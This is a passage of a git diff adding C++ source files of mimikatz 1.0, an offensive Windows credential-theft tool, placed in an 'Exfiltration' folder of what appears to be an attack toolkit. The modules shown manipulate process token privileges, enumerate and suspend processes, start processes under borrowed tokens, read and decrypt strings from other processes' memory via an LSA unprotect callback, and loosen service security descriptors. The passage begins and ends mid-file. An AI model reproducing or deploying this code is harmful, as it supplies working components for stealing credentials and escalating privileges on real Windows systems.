benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_privilege.h" + +bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) + { + privilegeName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) +{ + return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); +} + +bool mod_privilege::get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + HANDLE hToken = INVALID_HANDLE_VALUE; + if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) + { + DWORD tailleRequise = 0; + BYTE * monBuffer; + + if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + monBuffer = new BYTE[tailleRequise]; + if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer); + for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) + { + wstring * monPrivilege = new wstring(); + if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) + { + maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); + } + delete monPrivilege; + } + } + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_privilege::set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer); + mesPrivileges->PrivilegeCount = static_cast<DWORD>(maPrivilegesvector->size()); + + unsigned int i; + vector<pair<wstring, DWORD>>::iterator monPrivilege; + for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) + { + if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) + { + mesPrivileges->Privileges[i].Attributes = monPrivilege->second; + } + else + { + break; + } + } + + if(reussite) + { + HANDLE hToken = INVALID_HANDLE_VALUE; + if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) + { + reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast<TOKEN_PRIVILEGES *>(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); + } + } + + delete monBuffer; + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h new file mode 100644 index 0000000..2d2652f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_privilege +{ +private: + static bool getName(PLUID idPrivilege, wstring * privilegeName); + static bool getValue(wstring * privilegeName, PLUID idPrivilege); + +public: + static bool get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp new file mode 100644 index 0000000..d000f41 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp @@ -0,0 +1,473 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_process.h" + +bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName) +{ + HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hProcessesSnapshot != INVALID_HANDLE_VALUE) + { + PROCESSENTRY32 monProcessus; + monProcessus.dwSize = sizeof(PROCESSENTRY32); + + if(Process32First(hProcessesSnapshot, &monProcessus)) + { + do + { + if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) + { + KIWI_PROCESSENTRY32 monProcessK = { + monProcessus.dwSize, + monProcessus.cntUsage, + monProcessus.th32ProcessID, + monProcessus.th32DefaultHeapID, + monProcessus.th32ModuleID, + monProcessus.cntThreads, + monProcessus.th32ParentProcessID, + monProcessus.pcPriClassBase, + monProcessus.dwFlags, + monProcessus.szExeFile + }; + + maProcessesvector->push_back(monProcessK); + } + } while(Process32Next(hProcessesSnapshot, &monProcessus)); + } + CloseHandle(hProcessesSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) +{ + bool reussite = false; + + vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>(); + + if(getList(mesProcesses, processName)) + { + if(reussite = (mesProcesses->size() == 1)) + { + *monProcess = mesProcesses->front(); + } + } + delete mesProcesses; + return reussite; +} + +bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) +{ + bool reussite = false; + + vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) + { + if(!moduleName) + { + *monModule = *(monVecteurDeModule->begin()); + reussite = true; + } + else + { + for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) + { + if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) + { + *monModule = *leModule; + reussite = true; + break; + } + } + } + } + delete monVecteurDeModule; + + return reussite; +} + +bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId) +{ + HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); + + if(hModuleSnapshot != INVALID_HANDLE_VALUE) + { + MODULEENTRY32 monModule; + monModule.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(hModuleSnapshot, &monModule)) + { + do + { + KIWI_MODULEENTRY32 monModuleK = { + monModule.dwSize, + monModule.th32ModuleID, + monModule.th32ProcessID, + monModule.GlblcntUsage, + monModule.ProccntUsage, + monModule.modBaseAddr, + monModule.modBaseSize, + monModule.hModule, + monModule.szModule, + monModule.szExePath + }; + maModulevector->push_back(monModuleK); + } while(Module32Next(hModuleSnapshot, &monModule)); + } + CloseHandle(hModuleSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) +{ + bool reussite = false; + RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); + STARTUPINFO mesInfosDemarrer; + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; + maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); + commandLine[maCommandLine->size()] = L'\0'; + + DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); + + if(leToken) + reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else if(aUsurper) + reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else + reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + + delete[] commandLine; + return reussite; +} + +bool mod_process::suspend(DWORD & processId) +{ + bool reussite = false; + + if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::resume(DWORD & processId) +{ + bool reussite = false; + + if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtResumeProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::stop(DWORD & processId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = (TerminateProcess(monHandle, exitCode) != 0); + CloseHandle(monHandle); + } + return reussite; +} + +bool mod_process::debug(DWORD & processId) +{ + return (DebugActiveProcess(processId) != 0); +} + +bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) +{ + bool reussite = false; + + if(processHandle == INVALID_HANDLE_VALUE) + processHandle = GetCurrentProcess(); + + if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) + { + ULONG sizeReturn; + reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); + } + return reussite; +} + +bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) +{ + bool reussite = false; + + HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); + if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) + { + HANDLE handleProc; + if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) + { + DWORD ddNeededSize; + TOKEN_STATISTICS tokenStats; + + if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) + { + AuthentificationId = tokenStats.AuthenticationId; + } + CloseHandle(handleProc); + } + CloseHandle(handleProcess); + } + + return reussite; +} + +bool mod_process::getPeb(PEB * peb, HANDLE processHandle) +{ + bool reussite = false; + PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); + if(getProcessBasicInformation(mesInfos, processHandle)) + { + reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); + } + delete mesInfos; + return reussite; +} + +bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * baseAddr = ptrBaseAddr; + + BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)]; + if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) + { + PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER); + if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; + if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) + { + PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS); + if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) + { + if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) + { + BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; + if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) + { + PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR); + if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) + { + while(structImportDesc->Characteristics) + { + DWORD i = 0; + + BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + + vector<KIWI_IAT_MODULE> mesImports; + + for(;;) + { + if( + mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) + && + mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) + ) + { + PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName); + PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT); + + if(HintNameArray->u1.Function) + { + KIWI_IAT_MODULE imageIAT = { + baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), + reinterpret_cast<PVOID>(IATArray->u1.Function), + 0, + string() + }; + + if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); + } + else + { + BYTE monTab[] = {0}; + long offsetToNull; + if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; + if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) + { + PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME); + imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name)); + } + delete [] ayIMAGE_IMPORT_BY_NAME; + } + } + + mesImports.push_back(imageIAT); + i++; + } + else break; + } + else break; + } + + delete[] ayIMAGE_THUNK_DATA_IAT; + delete[] ayIMAGE_THUNK_DATA_HintName; + + BYTE monTab[] = {0}; + long offsetToNull; + + if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + char * maLib = new char[offsetToNull+1]; + if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) + { + monIAT->push_back(make_pair(string(maLib), mesImports)); + } + delete [] maLib; + } + + structImportDesc++; + } + } + } + delete[] ayIMAGE_IMPORT_DESCRIPTOR; + } + } + } + delete[] ayIMAGE_NT_HEADERS; + } + } + delete[] ayIMAGE_DOS_HEADER; + + return reussite; +} + +bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess) +{ + bool reussite = false; + bool tabOk = false; + + vector<mod_process::KIWI_PROCESSENTRY32> * monTab; + + if(!mesProcess) + { + monTab = new vector<mod_process::KIWI_PROCESSENTRY32>(); + tabOk = mod_process::getList(monTab); + } + else + { + monTab = mesProcess; + } + + if(mesProcess || tabOk) + { + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) + { + if(reussite = (monProcess->th32ProcessID == processId)) + { + *processKiwi = *monProcess; + break; + } + } + } + + if(!mesProcess) + { + delete monTab; + } + + return reussite; +} + +bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle) +{ + bool reussite = false; + PEB * monPeb = new PEB(); + if(getPeb(monPeb, processHandle)) + { + PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); + if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) + { + PBYTE aLire, fin; + LDR_DATA_TABLE_ENTRY monEntry; + for( + aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), + fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); + aLire != fin; + aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) + ) + { + if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) + { + KIWI_VERY_BASIC_MODULEENTRY monModule = { + reinterpret_cast<PBYTE>(monEntry.DllBase), + monEntry.SizeOfImage, + getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) + }; + monModuleVector->push_back(monModule); + } + } + } + delete monLoader; + } + delete monPeb; + return reussite; +} + +wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + wstring maChaine; + BYTE * monBuffer = NULL; + if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) + { + maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); + } + if(monBuffer) + delete[] monBuffer; + return maChaine; +} + +bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + bool resultat = false; + + if(ptrString->Buffer && (ptrString->Length > 0)) + { + *monBuffer = new BYTE[ptrString->MaximumLength]; + if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) + { + if(unProtectFunction) + unProtectFunction(*monBuffer, ptrString->MaximumLength); + } + } + return resultat; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h new file mode 100644 index 0000000..a7acf18 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.h @@ -0,0 +1,84 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "secpkg.h" +#include "mod_ntddk.h" +#include "mod_memory.h" +#include "mod_text.h" +#include <security.h> +#include <tlhelp32.h> + +class mod_process +{ +public: + typedef struct _KIWI_IAT_MODULE + { + PVOID ptrToFunc; + PVOID ptrFunc; + WORD Ordinal; + string funcName; + } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; + + typedef struct _KIWI_PROCESSENTRY32 + { + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + wstring szExeFile; // Path + } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; + + typedef struct _KIWI_MODULEENTRY32 + { + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + wstring szModule; + wstring szExePath; + } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; + + typedef struct _KIWI_VERY_BASIC_MODULEENTRY + { + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + wstring szModule; + } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; + + static bool getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName = NULL); + static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); + + static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); + static bool suspend(DWORD & processId); + static bool resume(DWORD & processId); + static bool stop(DWORD & processId, DWORD exitCode = 0); + + static bool debug(DWORD & processId); + + static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); + static bool getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId = NULL); + static bool getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); + + static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = NULL); + + static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); + static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp new file mode 100644 index 0000000..c14632c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_secacl.h" + +bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) +{ + PSECURITY_DESCRIPTOR newSD = NULL; + ULONG laTaille; + bool succes = false; + + if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) + { + switch(monType) + { + case SE_KERNEL_OBJECT: + succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; + break; + case SE_SERVICE: + succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; + break; + } + LocalFree(newSD); + } + + return succes; +} + +bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) +{ + bool reussite = false; + DWORD dwSizeNeeded = 0; + SECURITY_DESCRIPTOR monSd; + if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; + if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) + { + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID pEveryoneSID = NULL; + if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) + { + EXPLICIT_ACCESS ForEveryOne; + RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); + ForEveryOne.grfAccessMode = SET_ACCESS; + ForEveryOne.grfInheritance = NO_INHERITANCE; + ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; + ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID); + + PSECURITY_DESCRIPTOR newSd = NULL; + DWORD laTaille; + if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) + { + reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; + LocalFree(newSd); + } + FreeSid(pEveryoneSID); + } + } + delete [] oldSd; + } + return reussite; +} + +bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) +{ + bool reussite = false; + + wchar_t * szSid; + if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) + { + strSid->assign(szSid); + LocalFree(szSid); + } + return reussite; +} + +bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD dwSizeName = 0; + DWORD dwSizeDomain = 0; + SID_NAME_USE nameUse; + + if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + wchar_t * monNom = new wchar_t[dwSizeName]; + wchar_t * monDomain = new wchar_t[dwSizeDomain]; + if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) + { + strName->assign(monNom); + if(domainName) + domainName->assign(monDomain); + + if(usage) + *usage = nameUse; + } + delete[] monDomain; + delete[] monNom; + } + + return reussite; +} + +bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) +{ + wstring userName; + wstring domaineName; + String->clear(); + + if(Sid) + { + if(mod_secacl::sidToName(Sid, &userName, &domaineName)) + { + String->assign(domaineName); + String->push_back(L'\\'); + String->append(userName); + } + else + mod_secacl::sidToStrSid(Sid, String); + } + if(String->empty()) + String->assign(L"(null)"); + + return true; +} + +bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD szNeeded = 0; + if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + BYTE * mesDonnees = new BYTE[szNeeded]; + if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) + { 